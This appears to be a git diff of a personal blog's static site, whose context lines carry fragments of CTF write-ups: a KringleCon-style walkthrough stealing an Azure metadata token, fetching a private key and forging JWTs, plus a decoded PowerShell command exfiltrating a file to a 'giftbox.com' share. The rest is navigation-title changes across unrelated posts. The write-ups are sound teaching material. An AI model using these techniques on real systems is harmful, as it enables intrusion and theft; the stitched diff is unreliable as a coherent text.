  4. I wonder if someone can give me a few pointers to swap.

To focus on the game, let’s open the iframe in a new tab.

There are two versions of the game, where the player is either above or below a treeline with an invisible wall in the middle of the map. We want the player to be able to teleport to the other side of the invisible wall.

In the devtools Sources tab, we can look at the script being loaded under js/script.js.

// Load a ROM.
-(async function go() {
+(async function go() {
   let ranNum = Math.round(Math.random()).toString()
   let filename = ROM_FILENAME + ranNum + ".gb";
   console.log(filename);
@@ -502,7 +502,7 @@ We have a cookie called “ElfHunt_JWT” with the JWT value of “e
 

We could play the game by lowering the speed but there’s an even easier way.

Looking at the first line of the update function in the loaded script.js,

function update() {
   score >= 75 && (sessionJWT.w = !0, document.cookie = `${sessionKeyName}=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.${btoa(JSON.stringify(sessionJWT))}.; path=/; secure; samesite=none;`, gameScene.scene.pause(), window.location.reload())
   // rest of the function
-}
+}
 

we notice that the moment the score is greater than or equal to 75, the w property of the sessionJWT is set to true, the document cookie is updated, the game is paused and the window is refreshed. There is no apparent if-else condition here because the script uses some clever javascript code using the antecedent && consequent pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.

In devtools console, we simply add the following code:

speed = 75
@@ -537,7 +537,7 @@ We can exit this interface by interrupting it with ctrl c

Let’s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the Authorization, we set another environment variable to the header value itself.

TOKEN=$(curl --http1.1 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' --header "Metadata: true" | jq -r .access_token)
 HEADER="Authorization: Bearer $TOKEN"
 

Let’s now retrieve the subscriptions and resources.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions?api-version=2022-12-01
+https://management.azure.com/subscriptions?api-version=2022-12-01
 
{
   "value": [
     {
@@ -565,7 +565,7 @@ We can exit this interface by interrupting it with ctrl c  }
 }
 

Now that we have the subscription ID 2b0942f3-9bca-484b-a508-abdae2db5e64, we can use this to further drill down the resource ID.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01
+https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01
 
{
   "value": [
     {
@@ -585,7 +585,7 @@ We can exit this interface by interrupting it with ctrl c  ]
 }
 

We use the name of the azure website as the site name. This is the northpole-ssh-certs-fa subdomain in https://northpole-ssh-certs-fa.azurewebsites.net/.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01
+https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01
 
{
   "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
   "name": "northpole-ssh-certs-fa",
@@ -669,22 +669,22 @@ the public key is present in the /jwtDefault/keys/capsPubKey.key.

Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of rDecoder.tok using the newfound rMonitor.tok token for authorization.

curl https://captainscomms.com/jwtDefault/rDecoder.tok
 
Invalid authorization token provided.
 

As expected, the rDecoder.tok file does exist. To actually get it, however, we must supply the authorization header with the rMonitor token.

wget --header "Authorization: Bearer $(cat rMonitor.tok)" \
-     https://captainscomms.com/jwtDefault/rDecoder.tok
+     https://captainscomms.com/jwtDefault/rDecoder.tok
 

We repeat the process as above and paste this new token as the value for the JustWatchThis cookie.

cat rDecoder.tok | wl-copy
 

Accessing the monitor after pasting, we can decode each signal peak left to right.

Decoding the first signal peak tells us that the captain’s private key is located in a folder called TH3CAPSPR1V4T3F0LD3R.

The second signal peak decodes to e03 interval signal messages like the Lincolnshire Poacher. The contents of the message is 12249 12249 16009 16009 12249 12249 16009 16009.

The last signal peak decodes to provide an image with the frequency 10426 written on it.

Knowing the captain’s use of abbreviations, we can assume that like the public key’s name capsPubKey.key, the private key is probably named capsPrivKey.key. We can probe for it without an authorization header.

curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
 
Invalid authorization token provided.
 

This means that the file exists! Let’s retrieve it with our rDecoder.tok token for authorization.

curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key \
---header "Authorization: Bearer $(cat rDecoder.tok)" \
--O
+--header "Authorization: Bearer $(cat rDecoder.tok)" \
+-O
 

Now that we have the private key, we can use it to sign and forge tokens with any role of our choice.

Opening the captain’s todo list, we see the captain talking about his role and how the journal he left on pixel island has details about this role.

Indeed, when we played the duck hunt game, the victory screen gave us the journal where the captain talked about the GeeseIslandSuperChiefCommunicationsOfficer role.

We can use cyberchef to change the token payload, modifying our role from radioDecoder to GeeseIslandSuperChiefCommunicationsOfficer and sign it with the private key.

We use the JWT Sign operation in our recipe, set the signing algorithm to RS256 and paste the captain’s private key in the Private/Secret Key field.

We can decode the payload from the rDecoder.tok file, replace the radioDecoder role with the new role and copy it to clipboard.

cut -d. -f2 rDecoder.tok \
-| base64 -d \
-| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g \
-| wl-copy
+| base64 -d \
+| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g \
+| wl-copy
 

Finally, we paste this into the input field of cyberchef.

Now, we paste the output of cyberchef as the JustWatchThis cookie’s value.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
 

The transmitter asks for a frequency, a go-date and a go-time. We supply the frequency we found earlier. The go-date and go-time fields only accepted 4 digits. I supplied 1224 and 1600 from the decoded version of the second signal peak.

The I pressed the transmission button (Tx). Nothing happened.

At this point, I made a guess and changed the go-time to 1200, since 12/24 12:00 is super exciting. @@ -753,7 +753,7 @@ and issuing an HTTP request to management.azure.com’s API.

}

We can query for the North Pole IT KV Key Vault Store, and subsequently we get the following JSON.

curl --header "$HEADER" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01" \
-| jq
+| jq
 
{
   "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
   "name": "northpole-it-kv",
@@ -845,10 +845,10 @@ drw-rw-rw-          0  Sun Dec 17 01:15:12 2023 super_secret_research
 2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
 3. Profit
 

The super_secret_research directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.

certipy find \
-  -vulnerable \
-  -username elfy@northpole.local \
-  -dc-ip 10.0.0.53 \
-  -password "$PW"
+  -vulnerable \
+  -username elfy@northpole.local \
+  -dc-ip 10.0.0.53 \
+  -password "$PW"
 
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
 Password:
@@ -1080,15 +1080,15 @@ To narrow down base64 encoded commands further, we will query only those process
 

We make sure to sort timestamp as ascending.

Now let’s decode each record. To do this, we copy the part of the command after the -enc flag and run the following command:

echo THEBASE64STRING | base64 -d
 

Keep in mind, we replace THEBASE64STRING with the thing we just copied.

Let’s decode the first base64 string.

echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs \
-| base64 -d
+| base64 -d
 
Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&ccm&]clientsdk | Out-Null
 

Nope, this looks like a legitimate command for installing Windows updates. Let’s try the second one.

The base64 command in the second record when decoded as follows

echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn \
-| base64 -d
+| base64 -d
 

yields the following powershell command:

( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
 

Now that is some obfuscated command we can expect an attacker to invoke. We note the timestamp for this second record and submit it.

Answer: 2023-12-24T16:07:47Z

  1. What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)

From the previous query output, we can try decoding the encoded commands one by one.

The -split '' | %{$_[0]} part of the command splits the preceding string into its constituent characters, these are then rearranged in reverse and the trailing -join '' joins the reversed characters back into a string.

Undoing the reverse, we get the following command:

powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
 

We see that the attacker copied the NaughtyNiceList.txt file from the fileshare to C:\Desktop.

Answer: NaughtyNiceList.txt

  1. The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

We move on to decode the base64 encoded command in the third record.

echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4= \
-| base64 -d
+| base64 -d
 

This gives us the following obfuscated command:

[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
 

This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.

To perform the reconstruction manually we can run the following python code:

encoded = (100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101)
 print(''.join(map(chr, encoded)))
@@ -1105,4 +1105,4 @@ we mark them safe. If the values differ or the domain is entirely different, we
 Reverse Engineering
 DMARC
 Web
\ No newline at end of file
+Abstracting Structured Patterns in Concurrent Programming
\ No newline at end of file
diff --git a/post/liberating-14gib-of-space/index.html b/post/liberating-14gib-of-space/index.html
index 5364b30f..647ea04f 100644
--- a/post/liberating-14gib-of-space/index.html
+++ b/post/liberating-14gib-of-space/index.html
@@ -21,4 +21,4 @@ as there are legitimate duplicates which, if deleted, can brick a system. I&rsqu
 running jdupes in individual directories like Music, Documents, etc.

\ No newline at end of file +Notepad \ No newline at end of file diff --git a/post/modeling-more-realistic-keybinds-with-modifiers/index.html b/post/modeling-more-realistic-keybinds-with-modifiers/index.html index e9911154..15f23b95 100644 --- a/post/modeling-more-realistic-keybinds-with-modifiers/index.html +++ b/post/modeling-more-realistic-keybinds-with-modifiers/index.html @@ -51,4 +51,4 @@ If you are wondering why this is not a complete binding, remember we still need SWHKD Waycrate Wayland \ No newline at end of file +Edge cases? You Shall Not Pass! \ No newline at end of file diff --git a/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html b/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html index b346f7d9..f7d2b073 100644 --- a/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html +++ b/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html @@ -59,4 +59,4 @@ around their start and end.

Okay, that’s about it for now, I’l SWHKD Waycrate Wayland

\ No newline at end of file +I Solemnly Swear to Never Buy a Gaming Laptop Again \ No newline at end of file diff --git a/post/nixos-notes-to-self/index.html b/post/nixos-notes-to-self/index.html index ebd586e4..02edca87 100644 --- a/post/nixos-notes-to-self/index.html +++ b/post/nixos-notes-to-self/index.html @@ -27,4 +27,4 @@ collect2: error: ld returned 1 exit status NixOS Notes Troubleshooting \ No newline at end of file +Guide: Changing Recents Provider on /e/OS \ No newline at end of file diff --git a/post/nixos-secureboot-shenanigans/index.html b/post/nixos-secureboot-shenanigans/index.html index a618b101..d46de385 100644 --- a/post/nixos-secureboot-shenanigans/index.html +++ b/post/nixos-secureboot-shenanigans/index.html @@ -12,8 +12,8 @@ and error.

error: attribute 'overrideScope''
 required for lanzaboote, the Rust utility for the secure boot shim1. After looking through this issue on github
 as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.

This meant I had to update the version in my flake.nix inputs like so

     lanzaboote = {
 -      url = "github:nix-community/lanzaboote/v0.3.0";
-+      url = "github:nix-community/lanzaboote/v0.4.1";
-       inputs.nixpkgs.follows = "nixpkgs";
++      url = "github:nix-community/lanzaboote/v0.4.1";
+       inputs.nixpkgs.follows = "nixpkgs";
      };
 

With that, I ran another nix flake update and enqueued my system for a rebuild. I deleted a few entries from /boot/EFI/nixos because the new release uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.

Where is the PKI Bundle?

The rebuild led to yet another error, this time concerning a nonexistent path.

Installing Lanzaboote to "/boot"...
@@ -36,4 +36,4 @@ causes you to land in a generation that is unavailable in the systemd-boot menu.
 sbctl
 lanzaboote
 Troubleshooting
\ No newline at end of file
+Wrapping up GSoC 2024
\ No newline at end of file
diff --git a/post/oh-my-god-they-killed-kenny/index.html b/post/oh-my-god-they-killed-kenny/index.html
index ef85e62a..bed55da3 100644
--- a/post/oh-my-god-they-killed-kenny/index.html
+++ b/post/oh-my-god-they-killed-kenny/index.html
@@ -26,4 +26,4 @@ We will use the $"string" syntax to interpolate the short ID into t
 South Park
 Streaming
 Web Parsing
\ No newline at end of file
+Bash Jail 3
\ No newline at end of file
diff --git a/post/page/2/index.html b/post/page/2/index.html
index e18c9931..85327034 100644
--- a/post/page/2/index.html
+++ b/post/page/2/index.html
@@ -1,4 +1,10 @@
-Posts - lavafroth

Wrapping up GSoC 2024


EBNF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/3/index.html b/post/page/3/index.html index efacd272..72bf8ae6 100644 --- a/post/page/3/index.html +++ b/post/page/3/index.html @@ -1,4 +1,10 @@ -Posts - lavafroth

Edge cases? You Shall Not Pass!


EBNF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/4/index.html b/post/page/4/index.html index 73209e51..dc2f70fc 100644 --- a/post/page/4/index.html +++ b/post/page/4/index.html @@ -1,4 +1,7 @@ -Posts - lavafroth

Compact XOR


AmateursCTF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/5/index.html b/post/page/5/index.html index c0483ccb..8c8189fd 100644 --- a/post/page/5/index.html +++ b/post/page/5/index.html @@ -1,4 +1,10 @@ -Posts - lavafroth

Treebox


Google CTF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/6/index.html b/post/page/6/index.html index b33cecdc..ade80281 100644 --- a/post/page/6/index.html +++ b/post/page/6/index.html @@ -1,4 +1,9 @@ -Posts - lavafroth

Liberating 14GiB of disk space


Powershell +Posts - lavafroth

Notepad


CTF @@ -10,4 +15,4 @@
\ No newline at end of file +Next Page
\ No newline at end of file diff --git a/post/picoctf-binary-exploitation-twosum/index.html b/post/picoctf-binary-exploitation-twosum/index.html index 70797fcc..96f6db91 100644 --- a/post/picoctf-binary-exploitation-twosum/index.html +++ b/post/picoctf-binary-exploitation-twosum/index.html @@ -56,7 +56,7 @@ Since this is C and there is no integer overflow check, we can simply supply the the second. Adding them would cause the result to wrap around and become negative.'>

Twosum

This is a rather simple binary exploitation challenge. We are given the following source code for the program running on the remote server:

#include <stdio.h>
 #include <stdlib.h>
-
+
 static int addIntOvf(int result, int a, int b) {
     result = a + b;
     if(a > 0 && b > 0 && result < 0)
@@ -112,4 +112,4 @@ the second. Adding them would cause the result to wrap around and become negativ
 
\ No newline at end of file +Java Code Analysis!?! \ No newline at end of file diff --git a/post/picoctf-cryptography-pixelated/index.html b/post/picoctf-cryptography-pixelated/index.html index 75ce284b..800f409d 100644 --- a/post/picoctf-cryptography-pixelated/index.html +++ b/post/picoctf-cryptography-pixelated/index.html @@ -27,7 +27,7 @@ in variables a and b.

Next, we’ll create an image buffer for reconstructing the composite image.

let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
 

Looping over the pixels in the shares,

for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
     // next 2 code blocks go here ...
-}
+}
 

we sum the values in each channel …

let pixel = p.channels()
     .iter()
     .zip(q.channels().iter())
@@ -67,4 +67,4 @@ compile and run the program.

PicoCTF
 Rust
 Visual Cryptography
\ No newline at end of file
+Treebox
\ No newline at end of file
diff --git a/post/picoctf-forensics-operation-oni-operation-orchid/index.html b/post/picoctf-forensics-operation-oni-operation-orchid/index.html
index f6295ec1..51ac2ff9 100644
--- a/post/picoctf-forensics-operation-oni-operation-orchid/index.html
+++ b/post/picoctf-forensics-operation-oni-operation-orchid/index.html
@@ -170,4 +170,4 @@ picoCTF{h4un71ng_p457_17237fce}
 Forensics
 PicoCTF
 The Sleuth Kit
\ No newline at end of file
+JAuth
\ No newline at end of file
diff --git a/post/picoctf-sansalpha-writeup/index.html b/post/picoctf-sansalpha-writeup/index.html
index 4ff215b0..19c1af4f 100644
--- a/post/picoctf-sansalpha-writeup/index.html
+++ b/post/picoctf-sansalpha-writeup/index.html
@@ -106,4 +106,4 @@ think out of the box.

That’s all for now. I hope you learned somethi Sandbox Escape Python CTF

\ No newline at end of file +A Tale of a Frugal Home Server \ No newline at end of file diff --git a/post/picoctf-web-challenge-jauth/index.html b/post/picoctf-web-challenge-jauth/index.html index 8b759c62..833b3db0 100644 --- a/post/picoctf-web-challenge-jauth/index.html +++ b/post/picoctf-web-challenge-jauth/index.html @@ -35,4 +35,4 @@ Setting the cookie to this value, we are redirected to the admin page.

JWT PicoCTF Web \ No newline at end of file +Liberating 14GiB of disk space \ No newline at end of file diff --git a/post/picoctf-web-challenge-notepad/index.html b/post/picoctf-web-challenge-notepad/index.html index 5ca47e1f..0a7bd0f6 100644 --- a/post/picoctf-web-challenge-notepad/index.html +++ b/post/picoctf-web-challenge-notepad/index.html @@ -71,4 +71,4 @@ templates PicoCTF Python Web \ No newline at end of file +Gadgeting in Python Jails \ No newline at end of file diff --git a/post/picoctf-web-java-code-analysis/index.html b/post/picoctf-web-java-code-analysis/index.html index 9fc9c5c3..81cb9e69 100644 --- a/post/picoctf-web-java-code-analysis/index.html +++ b/post/picoctf-web-java-code-analysis/index.html @@ -85,7 +85,7 @@ We are also given the source code of the application.

Taking a look at the )?; // tampering the payload - payload["role"] = Value::String("Admin".into()); + payload["role"] = Value::String("Admin".into()); let token = encode(header, &signing_key, &payload, algorithm)?; @@ -122,4 +122,4 @@ We are also given the source code of the application.

Taking a look at the JWT PicoCTF Web

\ No newline at end of file +Java Script Kiddie 2 \ No newline at end of file diff --git a/post/picoctf-web-java-script-kiddie-2/index.html b/post/picoctf-web-java-script-kiddie-2/index.html index ee6d6085..d2150d11 100644 --- a/post/picoctf-web-java-script-kiddie-2/index.html +++ b/post/picoctf-web-java-script-kiddie-2/index.html @@ -176,4 +176,4 @@ scanned 1 barcode symbols from 1 images in 0.03 seconds Reverse Engineering PicoCTF Web \ No newline at end of file +Some Assembly Required 3 \ No newline at end of file diff --git a/post/picoctf-web-some-assembly-required-3/index.html b/post/picoctf-web-some-assembly-required-3/index.html index e330099a..5eff02b8 100644 --- a/post/picoctf-web-some-assembly-required-3/index.html +++ b/post/picoctf-web-some-assembly-required-3/index.html @@ -217,14 +217,14 @@ is an integer.

  e[3] = a;
   e[2] = b;
   // if (eqz(e[3]:int)) goto B_a;
-  if (*e[3] == 0) {
+  if (*e[3] == 0) {
     // b[1072] = e[3];
-    b[1072] = 0;
+    b[1072] = 0;
   }
   var k:ubyte_ptr = 4 - (e[2] % 5);
   // var l:int = k[1067];
-  // e[3] = e[3] ^ (l << 24) >> 24;
-  var l:byte = *(k + 1067);
+  // e[3] = e[3] ^ (l << 24) >> 24;
+  var l:byte = *(k + 1067);
   e[3] = e[3] ^ l;
 }
 

From the beginning of the file, we can infer that some encoded string is @@ -244,7 +244,7 @@ cargo add hex let key = hex::decode("f1a7f007ed")?; let crib: Vec<u8> = hex::decode( // "\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8" - "9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000", + "9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000", )? .into_iter() .enumerate() @@ -269,4 +269,4 @@ cargo add hex Reverse Engineering Web WebAssembly

\ No newline at end of file +Kringlecon 2022 Writeup \ No newline at end of file diff --git a/post/polishing-and-bugfix-week/index.html b/post/polishing-and-bugfix-week/index.html index 0945e2a5..63262549 100644 --- a/post/polishing-and-bugfix-week/index.html +++ b/post/polishing-and-bugfix-week/index.html @@ -46,7 +46,7 @@ we replace the binding’s command with the new command.

Solution? Simply reuse the unescape function we used in for the keys.

// ...
-Rule::command_component => {
+Rule::command_component => {
     command_variants.push(unescape(component.as_str()).to_string())
 }
 // ...
@@ -75,4 +75,4 @@ actually use SWHKD in my daily workflows. Stay tuned!

\ No newline at end of file +Humans Suck at Command Sanitization \ No newline at end of file diff --git a/post/preventing-infinite-recursions-from-eating-your-lunch/index.html b/post/preventing-infinite-recursions-from-eating-your-lunch/index.html index 660c4a4b..e337cb9f 100644 --- a/post/preventing-infinite-recursions-from-eating-your-lunch/index.html +++ b/post/preventing-infinite-recursions-from-eating-your-lunch/index.html @@ -31,12 +31,12 @@ hashing function. Considering that the average setup would not wield even a thousand submodules, it’s sufficient to store the imports in a set.

We’ll create slightly separate implementations to differentiate between the root module and any submodules it imports. For now, let’s tackle the implementation for the submodules.

We create a method for the parser result called as_import for loading any of these aforementioned submodules.

fn as_import(input: ParserInput, seen: &mut BTreeSet<String>) -> Result<Self, ParseError> {
     // ...
-}
+}
 

The seen argument is how the caller tells the callee about what import paths it has already seen.

While processing import expressions, we keep adding the imports we have seen so far to a local BTreeSet.

let mut imports = BTreeSet::new();
 for decl in contents.into_inner() {
     match decl.as_rule() {
         // other rules like bindings
-        Rule::import => imports.extend(import_parser(decl)),
+        Rule::import => imports.extend(import_parser(decl)),
     }
 }
 

Once all the tokens in the current config have been parsed, we can move on to adding the imports to @@ -70,11 +70,11 @@ call stack of import related functions.

Lastly, for the sake of backwards root parser result. This was the behavior present in the original parser. Note that the import fields in the submodules will all be empty since we popped them one by one in this loop:

while let Some(import) = imports.pop_first() {
     // ...
-}
+}
 

Okay, that’s all for now. See you soon!

\ No newline at end of file +Test Driven Development - The Pinnacle of Engineering \ No newline at end of file diff --git a/post/project-mana-demo/index.html b/post/project-mana-demo/index.html index ceef5fb3..524f5d5e 100644 --- a/post/project-mana-demo/index.html +++ b/post/project-mana-demo/index.html @@ -418,4 +418,4 @@ orbit.addEventListener('change', function() { 3D Animation GLSL \ No newline at end of file +PicoCTF SansAlpha Writeup \ No newline at end of file diff --git a/post/r0-hash-me-please/index.html b/post/r0-hash-me-please/index.html index 951e3c02..4c496e17 100644 --- a/post/r0-hash-me-please/index.html +++ b/post/r0-hash-me-please/index.html @@ -100,4 +100,4 @@ it only prints the flag when run.


Let’s parse the response body CTF RingZer0 Web Parsing

\ No newline at end of file +Oh my God, they killed Kenny! \ No newline at end of file diff --git a/post/r0-hash-me-reloaded/index.html b/post/r0-hash-me-reloaded/index.html index 9b655c0a..37db9ede 100644 --- a/post/r0-hash-me-reloaded/index.html +++ b/post/r0-hash-me-reloaded/index.html @@ -106,4 +106,4 @@ that it only prints the flag when run.


Let’s parse the response body CTF RingZer0 Web Parsing

\ No newline at end of file +Hash Me Please \ No newline at end of file diff --git a/post/r0-i-saw-a-little-elf/index.html b/post/r0-i-saw-a-little-elf/index.html index 745b48c8..6cb8bb13 100644 --- a/post/r0-i-saw-a-little-elf/index.html +++ b/post/r0-i-saw-a-little-elf/index.html @@ -148,4 +148,4 @@ we set the request off.

ELF
 RingZer0
 Web Parsing
\ No newline at end of file
+RingZer0 CTF Hash Me Reloaded
\ No newline at end of file
diff --git a/post/ringzer0ctf-bash-jail1/index.html b/post/ringzer0ctf-bash-jail1/index.html
index e1659c06..f3dec7f5 100644
--- a/post/ringzer0ctf-bash-jail1/index.html
+++ b/post/ringzer0ctf-bash-jail1/index.html
@@ -29,4 +29,4 @@ and the script should error out with the contents of the file.

CTF RingZer0 Sandbox Escape \ No newline at end of file +Operation Oni, Operation Orchid \ No newline at end of file diff --git a/post/ringzer0ctf-bash-jail2/index.html b/post/ringzer0ctf-bash-jail2/index.html index 66f80371..a556e56b 100644 --- a/post/ringzer0ctf-bash-jail2/index.html +++ b/post/ringzer0ctf-bash-jail2/index.html @@ -57,4 +57,4 @@ tab in place of the whitespace.

Solution

We give the s CTF RingZer0 Sandbox Escape

\ No newline at end of file +Bash Jail 1 \ No newline at end of file diff --git a/post/ringzer0ctf-bash-jail3/index.html b/post/ringzer0ctf-bash-jail3/index.html index ab9fbb27..3fcd9d8a 100644 --- a/post/ringzer0ctf-bash-jail3/index.html +++ b/post/ringzer0ctf-bash-jail3/index.html @@ -56,4 +56,4 @@ characters. One such command would be tail which, by default, reads CTF RingZer0 Sandbox Escape \ No newline at end of file +Bash Jail 2 \ No newline at end of file diff --git a/post/test-driven-development-the-pinnacle-of-engineering/index.html b/post/test-driven-development-the-pinnacle-of-engineering/index.html index 55f6bdb0..969a7f0f 100644 --- a/post/test-driven-development-the-pinnacle-of-engineering/index.html +++ b/post/test-driven-development-the-pinnacle-of-engineering/index.html @@ -97,4 +97,4 @@ can learn from my mistakes and embrace testing slightly ahead of time. See you s SWHKD Waycrate Wayland \ No newline at end of file +Modes, Unbinds and Other Ensembled Parser Patterns \ No newline at end of file diff --git a/post/the-gsoc-grand-finale/index.html b/post/the-gsoc-grand-finale/index.html index ebb42efe..f858296a 100644 --- a/post/the-gsoc-grand-finale/index.html +++ b/post/the-gsoc-grand-finale/index.html @@ -68,4 +68,4 @@ of building this parser. This has been my GSoC 2024, thank you so much for readi SWHKD Waycrate Wayland \ No newline at end of file +Painlessly setting up ML tooling on NixOS \ No newline at end of file diff --git a/post/timing-is-key/index.html b/post/timing-is-key/index.html index 5546d1ce..6e16cd58 100644 --- a/post/timing-is-key/index.html +++ b/post/timing-is-key/index.html @@ -70,4 +70,4 @@ and how they can be different from regular keys. See you soon!

